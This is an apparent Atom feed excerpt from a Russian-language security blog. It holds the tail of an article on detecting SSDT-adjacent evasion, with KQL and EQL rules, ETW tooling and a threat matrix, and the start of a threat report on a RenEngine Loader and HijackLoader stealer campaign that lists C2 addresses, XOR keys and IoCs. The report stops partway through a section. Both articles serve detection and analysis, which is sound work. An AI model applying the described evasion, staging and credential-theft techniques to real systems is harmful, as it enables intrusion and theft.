    &amp;quot;PAGE_EXECUTE_READWRITE&amp;quot; OR
    &amp;quot;PAGE_EXECUTE_WRITECOPY&amp;quot; OR
    &amp;quot;0x40&amp;quot; OR &amp;quot;0x80&amp;quot;
)
AND winlog.event_data.OldAccessProtection: (
    &amp;quot;PAGE_READWRITE&amp;quot; OR &amp;quot;0x04&amp;quot;
)
&lt;/pre&gt;
  &lt;p id=&quot;N3Rn&quot;&gt;&lt;strong&gt;Детектирует:&lt;/strong&gt; классический shellcode loader (malloc RW → copy → VirtualProtect RX → exec)&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h4 id=&quot;zS0S&quot;&gt;🟠 Direct Syscall — отсутствие ntdll в стеке&lt;/h4&gt;
  &lt;pre id=&quot;gsQQ&quot;&gt;event.provider: &amp;quot;Microsoft-Windows-Threat-Intelligence&amp;quot;
AND winlog.event_data.CallingProcessId: *
AND NOT winlog.event_data.CallStack: &amp;quot;*ntdll*&amp;quot;
AND winlog.event_data.Type: (
    &amp;quot;ALLOCVM_REMOTE&amp;quot; OR &amp;quot;PROTECTVM_REMOTE&amp;quot; OR
    &amp;quot;WRITEVM_REMOTE&amp;quot; OR &amp;quot;CREATETHREAD_REMOTE&amp;quot;
)
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h4 id=&quot;UwoR&quot;&gt;🟠 ETW Patch Detection (EtwEventWrite stomping)&lt;/h4&gt;
  &lt;pre id=&quot;TwPC&quot;&gt;event.code: &amp;quot;7&amp;quot;
AND winlog.event_data.ImageLoaded: &amp;quot;*\\ntdll.dll&amp;quot;
AND winlog.event_data.ProcessId: *
&lt;/pre&gt;
  &lt;p id=&quot;oVw6&quot;&gt;В связке с:&lt;/p&gt;
  &lt;pre id=&quot;3DtV&quot;&gt;event.provider: &amp;quot;Microsoft-Windows-Threat-Intelligence&amp;quot;
AND winlog.event_data.ThreatName: &amp;quot;EtwEventWritePatch&amp;quot;
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h4 id=&quot;sMtL&quot;&gt;🟠 Heaven&amp;#x27;s Gate (WoW64 32→64 переход)&lt;/h4&gt;
  &lt;pre id=&quot;ctZk&quot;&gt;event.provider: &amp;quot;Microsoft-Windows-Threat-Intelligence&amp;quot;
AND winlog.event_data.CallerProcessIsWow64: &amp;quot;true&amp;quot;
AND winlog.event_data.TargetProcessIsWow64: &amp;quot;false&amp;quot;
AND winlog.event_data.Type: &amp;quot;CREATETHREAD_REMOTE&amp;quot;
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h4 id=&quot;f4UN&quot;&gt;🟡 Scheduled Task Persistence (SSDT-смежный)&lt;/h4&gt;
  &lt;pre id=&quot;ggEZ&quot;&gt;event.code: &amp;quot;1&amp;quot;
AND winlog.event_data.Image: &amp;quot;*\\schtasks.exe&amp;quot;
AND winlog.event_data.CommandLine: (
    &amp;quot;*/create*&amp;quot; AND
    (&amp;quot;*/sc onlogon*&amp;quot; OR &amp;quot;*/sc onstart*&amp;quot; OR &amp;quot;*/sc minute*&amp;quot;)
)
AND NOT winlog.event_data.User: &amp;quot;NT AUTHORITY\\SYSTEM&amp;quot;
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h3 id=&quot;XX0C&quot;&gt;Elastic Detection Rules (готовые к импорту)&lt;/h3&gt;
  &lt;p id=&quot;YEQh&quot;&gt;В официальном репозитории &lt;code&gt;elastic/detection-rules&lt;/code&gt; доступны правила, напрямую покрывающие SSDT-смежные техники:&lt;/p&gt;
  &lt;pre id=&quot;WS5X&quot;&gt;windows/defense_evasion_direct_syscall_ntdll.toml
windows/credential_access_lsass_memory_access.toml
windows/defense_evasion_process_injection_via_createremotethread.toml
windows/defense_evasion_suspicious_process_creation_calltrace.toml
windows/defense_evasion_etw_provider_patched.toml
&lt;/pre&gt;
  &lt;p id=&quot;17HB&quot;&gt;Импорт в Kibana SIEM:&lt;br /&gt; &lt;code&gt;Stack Management → Rules → Import rule&lt;/code&gt;&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;Gwpz&quot;&gt;8. Практический стек детектирования&lt;/h2&gt;
  &lt;pre id=&quot;S2JF&quot;&gt;┌─────────────────────────────────────────────────────────────────────┐
│                    PRODUCTION DETECTION STACK                       │
├─────────────────────────────────────────────────────────────────────┤
│                                                                     │
│  [Kernel Layer]                                                     │
│   ETW Threat Intelligence Provider (F4E1897C...)                   │
│   + PsSetCreateProcessNotifyRoutineEx                              │
│   + ObRegisterCallbacks (OpenProcess/OpenThread)                   │
│   + Minifilter (filesystem events)                                 │
│                        │                                           │
│  [Collection Layer]    ▼                                           │
│   SilkETW / SealighterTI → JSON (ETW → структурированные события) │
│   Sysmon v14+            → XML (process/file/network/registry)    │
│                        │                                           │
│  [Transport Layer]     ▼                                           │
│   Winlogbeat / Filebeat → Logstash (enrich, normalize, GeoIP)     │
│                        │                                           │
│  [Storage Layer]       ▼                                           │
│   Elasticsearch (горячий: 30 дней, тёплый: 90 дней)               │
│                        │                                           │
│  [Detection Layer]     ▼                                           │
│   Kibana SIEM Rules    → статические правила (KQL/EQL)            │
│   ML Anomaly Jobs      → поведенческие аномалии (CPU, inject rate)│
│                        │                                           │
│  [Response Layer]      ▼                                           │
│   Alert → SOAR (TheHive / Cortex) → автоматическая изоляция       │
└─────────────────────────────────────────────────────────────────────┘
&lt;/pre&gt;
  &lt;h3 id=&quot;e7Ea&quot;&gt;SilkETW — быстрый старт&lt;/h3&gt;
  &lt;pre id=&quot;9YYx&quot;&gt;# Мониторинг ETW Threat Intelligence провайдера
SilkETW.exe -t user &amp;#x60;
    -pn Microsoft-Windows-Threat-Intelligence &amp;#x60;
    -ot file &amp;#x60;
    -p C:\Logs\etwti.json

# Затем Filebeat читает C:\Logs\etwti.json → Elasticsearch
&lt;/pre&gt;
  &lt;h3 id=&quot;tBLJ&quot;&gt;EQL (Event Query Language) — Kibana sequence detection&lt;/h3&gt;
  &lt;p id=&quot;TEHH&quot;&gt;EQL позволяет детектировать &lt;strong&gt;цепочки событий&lt;/strong&gt;, что критично для обнаружения многоэтапных техник:&lt;/p&gt;
  &lt;pre id=&quot;yx4m&quot;&gt;-- Детект: alloc → write → protect → exec (классический shellcode loader)
sequence by process.entity_id with maxspan=30s
  [process where event.type == &amp;quot;start&amp;quot;]
  [api where process.Etwti.type == &amp;quot;ALLOCVM_REMOTE&amp;quot;]
  [api where process.Etwti.type == &amp;quot;WRITEVM_REMOTE&amp;quot;]
  [api where process.Etwti.type == &amp;quot;PROTECTVM_REMOTE&amp;quot;
        and process.Etwti.NewProtection == &amp;quot;PAGE_EXECUTE_READ&amp;quot;]
  [api where process.Etwti.type == &amp;quot;CREATETHREAD_REMOTE&amp;quot;]
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;wj6U&quot;&gt;9. Матрица угроз и обходов&lt;/h2&gt;
  &lt;p id=&quot;F1gL&quot;&gt;Техника атаки Что обходит Детект-механизм Сигнал     &lt;strong&gt;Direct Syscall&lt;/strong&gt; ntdll user-space хуки ETWTI call stack analysis syscall не из ntdll диапазона   &lt;strong&gt;Hell&amp;#x27;s Gate&lt;/strong&gt; hardcoded SSN Sysmon EID 11 (чтение ntdll с диска) чтение PE-заголовка ntdll   &lt;strong&gt;Halo&amp;#x27;s Gate&lt;/strong&gt; патченные стабы memory scan ntdll integrity изменённые байты в ntdll   &lt;strong&gt;Tartarus&amp;#x27; Gate&lt;/strong&gt; оба выше ETWTI комбо сигналов   &lt;strong&gt;Syscall Spoofing&lt;/strong&gt; call stack analysis ETWTI synthetic frame det. несоответствие ret address   &lt;strong&gt;Heaven&amp;#x27;s Gate&lt;/strong&gt; WoW64 хуки ETWTI WoW64 monitoring 32→64 thread creation   &lt;strong&gt;ETW Patch&lt;/strong&gt; ETW телеметрию kernel ETW integrity check патч EtwEventWrite   &lt;strong&gt;SSDT Hook (руткит)&lt;/strong&gt; всё PatchGuard / расхождение адресов BSOD или driver alert   &lt;strong&gt;Process Hollowing&lt;/strong&gt; process name whitelist Sysmon EID 25 section replace   &lt;strong&gt;Process Doppelgänging&lt;/strong&gt; file-based детект ETWTI + section mapping транзакционный файл&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;Wn2x&quot;&gt;10. Заключение&lt;/h2&gt;
  &lt;h3 id=&quot;bAPn&quot;&gt;Главный вывод&lt;/h3&gt;
  &lt;p id=&quot;G75E&quot;&gt;&lt;strong&gt;SSDT нельзя мониторить напрямую из user-space.&lt;/strong&gt; Но это и не нужно — правильный стек детектирования строится на:&lt;/p&gt;
  &lt;ol id=&quot;3LZk&quot;&gt;
    &lt;li id=&quot;lHoq&quot;&gt;&lt;strong&gt;ETWTI&lt;/strong&gt; — ближайший к SSDT легальный источник телеметрии, работает из ядра&lt;/li&gt;
    &lt;li id=&quot;W6q3&quot;&gt;&lt;strong&gt;Kernel Callbacks&lt;/strong&gt; — покрывают process/thread/image/registry/handle события&lt;/li&gt;
    &lt;li id=&quot;RJxQ&quot;&gt;&lt;strong&gt;Sysmon&lt;/strong&gt; — структурированная телеметрия для ELK без написания драйвера&lt;/li&gt;
    &lt;li id=&quot;sfKV&quot;&gt;&lt;strong&gt;Поведенческие цепочки&lt;/strong&gt; (EQL) — важнее отдельных сигнатур&lt;/li&gt;
  &lt;/ol&gt;
  &lt;h3 id=&quot;8Pz8&quot;&gt;Красные флаги для немедленного расследования&lt;/h3&gt;
  &lt;pre id=&quot;EvGH&quot;&gt;CRITICAL:
  • syscall-инструкция выполняется вне диапазона ntdll.dll
  • OpenProcess(lsass.exe) с GrantedAccess 0x1010/0x143a
  • CreateRemoteThread в системный процесс из non-system source
  • EtwEventWrite patch в ntdll любого процесса

HIGH:
  • RW→RX смена прав в приватном (не MEM_IMAGE) регионе
  • Unsigned DLL загружена из %TEMP% / %APPDATA%
  • Отсутствие ntdll в call stack при системном вызове
  • Heaven&amp;#x27;s Gate: CreateThread WoW64→x64 cross-arch
&lt;/pre&gt;
  &lt;h3 id=&quot;Qvj6&quot;&gt;Инструменты для лаборатории&lt;/h3&gt;
  &lt;p id=&quot;sQLR&quot;&gt;Инструмент Назначение     &lt;strong&gt;SilkETW&lt;/strong&gt; ETW collection → JSON   &lt;strong&gt;SealighterTI&lt;/strong&gt; ETWTI специфично, usermode   &lt;strong&gt;WinApiOverride&lt;/strong&gt; user-space API мониторинг   &lt;strong&gt;API Monitor&lt;/strong&gt; перехват вызовов с параметрами   &lt;strong&gt;WinDbg + tt&lt;/strong&gt; time-travel debugging syscall chain   &lt;strong&gt;Process Monitor&lt;/strong&gt; быстрый file/registry/network мониторинг   &lt;strong&gt;pe-sieve + hollows_hunter&lt;/strong&gt; детект hollowing/doppelgänging в памяти&lt;/p&gt;

</content></entry><entry><id>sccrrap:Lk8GNTEHZyf</id><link rel="alternate" type="text/html" href="https://teletype.in/@sccrrap/Lk8GNTEHZyf?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=sccrrap"></link><title>RenEngine Loader + HijackLoader: многоступенчатая stealer-кампания через пиратские AAA-игры</title><published>2026-02-09T09:57:02.858Z</published><updated>2026-02-09T09:57:02.858Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/20/12/2012bd96-78c0-4571-9bb4-62bf295c8908.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/39/7c/397ca7b2-23f3-4584-8295-a0e57d845028.png&quot;&gt;Howler Cell Threat Research Team выявила длительную, масштабную и технически зрелую stealer-операцию, активную как минимум с апреля 2025 года и продолжающуюся на текущий момент. Кампания использует:</summary><content type="html">
  &lt;figure id=&quot;q5q2&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/39/7c/397ca7b2-23f3-4584-8295-a0e57d845028.png&quot; width=&quot;1600&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;D2ZN&quot;&gt;1. Executive Technical Summary&lt;/h2&gt;
  &lt;p id=&quot;envU&quot;&gt;Howler Cell Threat Research Team выявила &lt;strong&gt;длительную, масштабную и технически зрелую stealer-операцию&lt;/strong&gt;, активную как минимум с &lt;strong&gt;апреля 2025 года&lt;/strong&gt; и продолжающуюся на текущий момент. Кампания использует:&lt;/p&gt;
  &lt;ul id=&quot;ozpU&quot;&gt;
    &lt;li id=&quot;DEHW&quot;&gt;новый ранее не описанный загрузчик &lt;strong&gt;RenEngine Loader&lt;/strong&gt;&lt;/li&gt;
    &lt;li id=&quot;maTX&quot;&gt;модифицированный вариант &lt;strong&gt;HijackLoader&lt;/strong&gt;&lt;/li&gt;
    &lt;li id=&quot;LgWt&quot;&gt;финальный полезный груз — &lt;strong&gt;ACR Stealer&lt;/strong&gt; (в других цепочках также Rhadamanthys, AsyncRAT, XWorm)&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;dmGY&quot;&gt;Ключевая особенность — &lt;strong&gt;злоупотребление легитимным игровым движком Ren’Py&lt;/strong&gt; для скрытой доставки первого этапа вредоносной цепочки внутри «рабочих» пиратских игр.&lt;/p&gt;
  &lt;h3 id=&quot;8icr&quot;&gt;Масштаб&lt;/h3&gt;
  &lt;ul id=&quot;KQ0R&quot;&gt;
    &lt;li id=&quot;fy0a&quot;&gt;~&lt;strong&gt;400 000&lt;/strong&gt; зафиксированных обращений к встроенной телеметрии&lt;/li&gt;
    &lt;li id=&quot;2Pc5&quot;&gt;~&lt;strong&gt;5 000 новых жертв в день&lt;/strong&gt;&lt;/li&gt;
    &lt;li id=&quot;sBop&quot;&gt;активность устойчива с &lt;strong&gt;Oct 14, 2025&lt;/strong&gt; (добавление telemetry logic)&lt;/li&gt;
    &lt;li id=&quot;Ib28&quot;&gt;основные страны: &lt;strong&gt;India, USA, Brazil, Russia, Egypt, Turkey, Spain, Indonesia, Pakistan, France&lt;/strong&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;K5qv&quot;&gt;2. Initial Access: доверие вместо эксплуатации&lt;/h2&gt;
  &lt;h3 id=&quot;4Cr7&quot;&gt;Вектор&lt;/h3&gt;
  &lt;p id=&quot;28Vi&quot;&gt;Жертвы скачивают:&lt;/p&gt;
  &lt;ul id=&quot;Ebkp&quot;&gt;
    &lt;li id=&quot;PRBE&quot;&gt;cracked installers&lt;/li&gt;
    &lt;li id=&quot;SHjb&quot;&gt;game mods&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;VqXs&quot;&gt;с пиратских площадок, включая:&lt;/p&gt;
  &lt;pre id=&quot;gBen&quot;&gt;hxxps://dodi-repacks[.]site
go[.]zovo[.]ink → MediaFire
&lt;/pre&gt;
  &lt;p id=&quot;d5Qz&quot;&gt;Заражённые тайтлы:&lt;/p&gt;
  &lt;ul id=&quot;edZF&quot;&gt;
    &lt;li id=&quot;7gpS&quot;&gt;Far Cry&lt;/li&gt;
    &lt;li id=&quot;gdI2&quot;&gt;Need for Speed&lt;/li&gt;
    &lt;li id=&quot;yJfM&quot;&gt;FIFA&lt;/li&gt;
    &lt;li id=&quot;HooA&quot;&gt;Assassin’s Creed&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;v5cx&quot;&gt;Атака основана не на уязвимостях, а на:&lt;/p&gt;
  &lt;ul id=&quot;wBvH&quot;&gt;
    &lt;li id=&quot;hWOt&quot;&gt;доверии внутри piracy-сообществ&lt;/li&gt;
    &lt;li id=&quot;uVz2&quot;&gt;низкой осведомлённости пользователей&lt;/li&gt;
    &lt;li id=&quot;xeq6&quot;&gt;отсутствии строгого endpoint-контроля&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;TBLK&quot;&gt;3. Stage 1 — RenEngine Loader&lt;/h2&gt;
  &lt;h3 id=&quot;v0VH&quot;&gt;3.1 Злоупотребление Ren’Py&lt;/h3&gt;
  &lt;p id=&quot;Ofgy&quot;&gt;&lt;code&gt;Instaler.exe&lt;/code&gt; — &lt;strong&gt;легитимный Ren’Py launcher&lt;/strong&gt;, внутри которого:&lt;/p&gt;
  &lt;ul id=&quot;rLIR&quot;&gt;
    &lt;li id=&quot;NoSh&quot;&gt;используется &lt;code&gt;archive.rpa&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;6hET&quot;&gt;удалены все &lt;code&gt;.rpy&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;WEIF&quot;&gt;оставлены только &lt;code&gt;.rpyc&lt;/code&gt; (скомпилированные скрипты)&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;O1ml&quot;&gt;Обычные архиваторы &lt;strong&gt;не извлекают RPA&lt;/strong&gt;, что:&lt;/p&gt;
  &lt;ul id=&quot;ZNId&quot;&gt;
    &lt;li id=&quot;OqeZ&quot;&gt;снижает статическую видимость&lt;/li&gt;
    &lt;li id=&quot;gsj2&quot;&gt;переносит логику в память&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;EWRx&quot;&gt;Исполняется &lt;code&gt;script.rpyc&lt;/code&gt; → это и есть &lt;strong&gt;RenEngine Loader&lt;/strong&gt;.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h3 id=&quot;x7of&quot;&gt;3.2 Конфигурация загрузчика&lt;/h3&gt;
  &lt;p id=&quot;tKcN&quot;&gt;Loader читает &lt;code&gt;.key&lt;/code&gt; файл → Base64 decode → JSON:&lt;/p&gt;
  &lt;figure id=&quot;5Igo&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/18/11/1811959c-1e9a-47c8-848a-67cdae474839.png&quot; width=&quot;1588&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;h3 id=&quot;0XfV&quot;&gt;3.3 Обфускация и staging&lt;/h3&gt;
  &lt;ol id=&quot;y5Dl&quot;&gt;
    &lt;li id=&quot;9Saj&quot;&gt;JSON → поиск XOR-архива&lt;/li&gt;
    &lt;li id=&quot;c55i&quot;&gt;XOR-дешифрование&lt;/li&gt;
    &lt;li id=&quot;yCoB&quot;&gt;извлечение payload&lt;/li&gt;
    &lt;li id=&quot;QJRL&quot;&gt;запуск &lt;code&gt;W8CPbGQI.exe&lt;/code&gt;&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;cwD4&quot;&gt;Используются:&lt;/p&gt;
  &lt;ul id=&quot;4jWW&quot;&gt;
    &lt;li id=&quot;Uk4h&quot;&gt;Base64&lt;/li&gt;
    &lt;li id=&quot;sN0R&quot;&gt;XOR&lt;/li&gt;
    &lt;li id=&quot;15KG&quot;&gt;RPA-упаковка&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;yB5c&quot;&gt;4. Sandbox Scoring System&lt;/h2&gt;
  &lt;p id=&quot;9w4n&quot;&gt;RenEngine применяет &lt;strong&gt;балльную модель детекции VM&lt;/strong&gt;.&lt;/p&gt;
  &lt;p id=&quot;elWI&quot;&gt;Проверки через PowerShell:&lt;/p&gt;
  &lt;figure id=&quot;3eVg&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/39/0e/390e0b00-c8e2-491a-83a0-4332bdf5505d.png&quot; width=&quot;1586&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;inrW&quot;&gt;Также:&lt;/p&gt;
  &lt;ul id=&quot;dCFq&quot;&gt;
    &lt;li id=&quot;rEbp&quot;&gt;registry keys VirtualBox&lt;/li&gt;
    &lt;li id=&quot;uA4B&quot;&gt;SYSTEM32 VM drivers&lt;/li&gt;
    &lt;li id=&quot;tWkR&quot;&gt;процессы VM tools&lt;/li&gt;
    &lt;li id=&quot;WBm1&quot;&gt;usernames (sandbox, vagrant)&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;BeE4&quot;&gt;&amp;lt;50% → выполнение&lt;br /&gt;≥50% → тихий выход&lt;/p&gt;
  &lt;p id=&quot;bGp7&quot;&gt;Это усложняет:&lt;/p&gt;
  &lt;ul id=&quot;MPso&quot;&gt;
    &lt;li id=&quot;Tvrk&quot;&gt;sandbox detonation&lt;/li&gt;
    &lt;li id=&quot;Ywnn&quot;&gt;automated analysis&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;GIpa&quot;&gt;5. Stage 2 — HijackLoader Variant&lt;/h2&gt;
  &lt;p id=&quot;2R2J&quot;&gt;&lt;code&gt;W8CPbGQI.exe&lt;/code&gt; (подписанный) → sideload:&lt;/p&gt;
  &lt;pre id=&quot;yEaN&quot;&gt;d3dx9_43.dll → VSDebugScriptAgent170.dll → stomp evr.dll
&lt;/pre&gt;
  &lt;h3 id=&quot;eXJ7&quot;&gt;5.1 Конфигурация HijackLoader&lt;/h3&gt;
  &lt;p id=&quot;ybK8&quot;&gt;Файл: &lt;code&gt;Froodjurain.wkk&lt;/code&gt;&lt;/p&gt;
  &lt;pre id=&quot;w2Nc&quot;&gt;Magic: C6 A5 79 EA
XOR key: DB CD 7B C6
IDAT header
RtlDecompressBuffer (LZNT1)
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h3 id=&quot;crFH&quot;&gt;5.2 Модульная архитектура (38 модулей)&lt;/h3&gt;
  &lt;p id=&quot;4Byo&quot;&gt;Новые VM-детекторы:&lt;/p&gt;
  &lt;figure id=&quot;NFp3&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e7/47/e747bdfa-ebd0-4d4a-8bfd-76c68c7468d7.png&quot; width=&quot;1592&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;moGz&quot;&gt;Другие возможности:&lt;/p&gt;
  &lt;ul id=&quot;A3je&quot;&gt;
    &lt;li id=&quot;PtW9&quot;&gt;Process hollowing&lt;/li&gt;
    &lt;li id=&quot;hdTY&quot;&gt;Process doppelgänging&lt;/li&gt;
    &lt;li id=&quot;9NMu&quot;&gt;Heaven’s Gate&lt;/li&gt;
    &lt;li id=&quot;LxxC&quot;&gt;UAC bypass&lt;/li&gt;
    &lt;li id=&quot;LA5t&quot;&gt;Defender tampering&lt;/li&gt;
    &lt;li id=&quot;C5bM&quot;&gt;Reverse shell&lt;/li&gt;
    &lt;li id=&quot;jcQM&quot;&gt;Scheduled task persistence&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;J5y7&quot;&gt;6. Persistence &amp;amp; Injection Flow&lt;/h2&gt;
  &lt;p id=&quot;rvqZ&quot;&gt;Создаётся:&lt;/p&gt;
  &lt;pre id=&quot;caIa&quot;&gt;%ProgramData%\broker_crypt_v4_i386
%AppData%\Roaming\broker_crypt_v4_i386
&lt;/pre&gt;
  &lt;p id=&quot;YYCr&quot;&gt;Копируются:&lt;/p&gt;
  &lt;ul id=&quot;YTlq&quot;&gt;
    &lt;li id=&quot;7SzC&quot;&gt;d3dx9_43.dll&lt;/li&gt;
    &lt;li id=&quot;DeA8&quot;&gt;VSDebugScriptAgent170.dll&lt;/li&gt;
    &lt;li id=&quot;OZ2a&quot;&gt;Froodjurain.wkk&lt;/li&gt;
    &lt;li id=&quot;eySr&quot;&gt;Taig.gr&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;wtcv&quot;&gt;Создаётся:&lt;/p&gt;
  &lt;pre id=&quot;g1co&quot;&gt;chime.exe
ZoneInd.exe
&lt;/pre&gt;
  &lt;p id=&quot;tz3w&quot;&gt;Финал:&lt;br /&gt;→ &lt;strong&gt;Process Doppelgänging&lt;/strong&gt;&lt;br /&gt;→ инжект в &lt;code&gt;rasapi32.dll&lt;/code&gt;&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;veBN&quot;&gt;7. Final Payload — ACR Stealer&lt;/h2&gt;
  &lt;p id=&quot;YNcG&quot;&gt;C2:&lt;/p&gt;
  &lt;pre id=&quot;qs67&quot;&gt;78.40.193.126
Campaign ID: 08de3605-f8ce-46fa-874f-3adf0bd308ba
Build: Dec 7 2025
&lt;/pre&gt;
  &lt;p id=&quot;voXH&quot;&gt;Кража:&lt;/p&gt;
  &lt;ul id=&quot;bkqt&quot;&gt;
    &lt;li id=&quot;kUHp&quot;&gt;browser creds&lt;/li&gt;
    &lt;li id=&quot;buZ7&quot;&gt;cookies&lt;/li&gt;
    &lt;li id=&quot;Ru4C&quot;&gt;crypto wallets&lt;/li&gt;
    &lt;li id=&quot;VI6i&quot;&gt;clipboard&lt;/li&gt;
    &lt;li id=&quot;IPO1&quot;&gt;autofill&lt;/li&gt;
    &lt;li id=&quot;0db5&quot;&gt;system info&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;Ectz&quot;&gt;8. Telemetry &amp;amp; Victim Tracking&lt;/h2&gt;
  &lt;p id=&quot;XYYD&quot;&gt;14 Oct 2025 → добавлен tracking:&lt;/p&gt;
  &lt;pre id=&quot;qaCp&quot;&gt;GET request + pub=t11_asm
&lt;/pre&gt;
  &lt;ul id=&quot;yqEq&quot;&gt;
    &lt;li id=&quot;CseJ&quot;&gt;400k telemetry hits&lt;/li&gt;
    &lt;li id=&quot;DLRG&quot;&gt;~5k/day growth&lt;/li&gt;
    &lt;li id=&quot;tGV9&quot;&gt;глобальное распространение&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;lBAy&quot;&gt;9. MITRE ATT&amp;amp;CK Mapping&lt;/h2&gt;
  &lt;figure id=&quot;ztQw&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0b/4b/0b4b6dc8-784e-4257-9719-1694257a1aab.png&quot; width=&quot;1282&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;YsyE&quot;&gt;10. IoCs&lt;/h2&gt;
  &lt;p id=&quot;GVD2&quot;&gt;&lt;strong&gt;SHA256 ZIP:&lt;/strong&gt;&lt;br /&gt;&lt;code&gt;9e3b296339e25b1bae1f9d028a17f030dcf2ab25ad46221b37731ea4fdfde057&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;mFjV&quot;&gt;&lt;strong&gt;DLLs:&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;zXmC&quot;&gt;d3dx9_43.dll 326ec5ae...
VSDebugScriptAgent170.dll db4ccd0e...
&lt;/pre&gt;
  &lt;p id=&quot;ypt1&quot;&gt;&lt;strong&gt;Loader path:&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;FAKU&quot;&gt;%APPDATA%\broker_crypt_v4_i386
&lt;/pre&gt;
  &lt;p id=&quot;IV0M&quot;&gt;&lt;strong&gt;XOR key HijackLoader:&lt;/strong&gt; &lt;code&gt;0xdbcd7bc6&lt;/code&gt;&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;pqwK&quot;&gt;11. Почему это опаснее обычных stealer-цепочек&lt;/h2&gt;
  &lt;figure id=&quot;F0H9&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/17/73/1773d78a-2232-4e4d-a6e9-9ee4d849da49.png&quot; width=&quot;1548&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;7JGU&quot;&gt;Python-этап загрузчика RenEngine: скрытый оркестратор атаки&lt;/h2&gt;
  &lt;p id=&quot;3dVB&quot;&gt;Ключевая особенность RenEngine Loader заключается в том, что основная управляющая логика реализована не в исполняемом файле Windows, а внутри Python-кода, встроенного в движок Ren’Py. Внешне образец выглядит как обычная визуальная новелла, однако фактически игровой движок используется как контейнер для вредоносного загрузчика.&lt;/p&gt;
  &lt;p id=&quot;teGD&quot;&gt;После запуска &lt;code&gt;Instaler.exe&lt;/code&gt; и инициализации Ren’Py происходит обращение к архиву &lt;code&gt;archive.rpa&lt;/code&gt;. Внутри него находится файл &lt;code&gt;script.rpyc&lt;/code&gt; — скомпилированный Python-байткод. Этот файл и является центральным модулем первой стадии атаки. Код не сохраняется на диск в виде &lt;code&gt;.py&lt;/code&gt;, а исполняется интерпретатором движка напрямую из памяти, что существенно осложняет статический анализ и сигнатурное обнаружение.&lt;/p&gt;
  &lt;h3 id=&quot;X6dK&quot;&gt;Конфигурационная модель загрузчика&lt;/h3&gt;
  &lt;p id=&quot;7MBW&quot;&gt;Python-часть не содержит жёстко прописанных параметров. Вместо этого используется внешний конфигурационный файл &lt;code&gt;.key&lt;/code&gt;, закодированный в Base64. После декодирования получается JSON-структура с параметрами кампании:&lt;/p&gt;
  &lt;ul id=&quot;Wtt1&quot;&gt;
    &lt;li id=&quot;oy6q&quot;&gt;имя зашифрованного архива со второй стадией,&lt;/li&gt;
    &lt;li id=&quot;ajdU&quot;&gt;пароль для дешифрования,&lt;/li&gt;
    &lt;li id=&quot;pxcm&quot;&gt;имя исполняемого payload-файла,&lt;/li&gt;
    &lt;li id=&quot;Bmq7&quot;&gt;флаг отключения анти-sandbox логики,&lt;/li&gt;
    &lt;li id=&quot;7xYx&quot;&gt;идентификатор партнёрской кампании (pub).&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;cnt5&quot;&gt;Такая архитектура превращает загрузчик в универсальный конструктор: оператор может менять полезную нагрузку, ключи шифрования и режим работы без пересборки самого loader’а.&lt;/p&gt;
  &lt;h3 id=&quot;ZV3b&quot;&gt;Дешифрование полезной нагрузки&lt;/h3&gt;
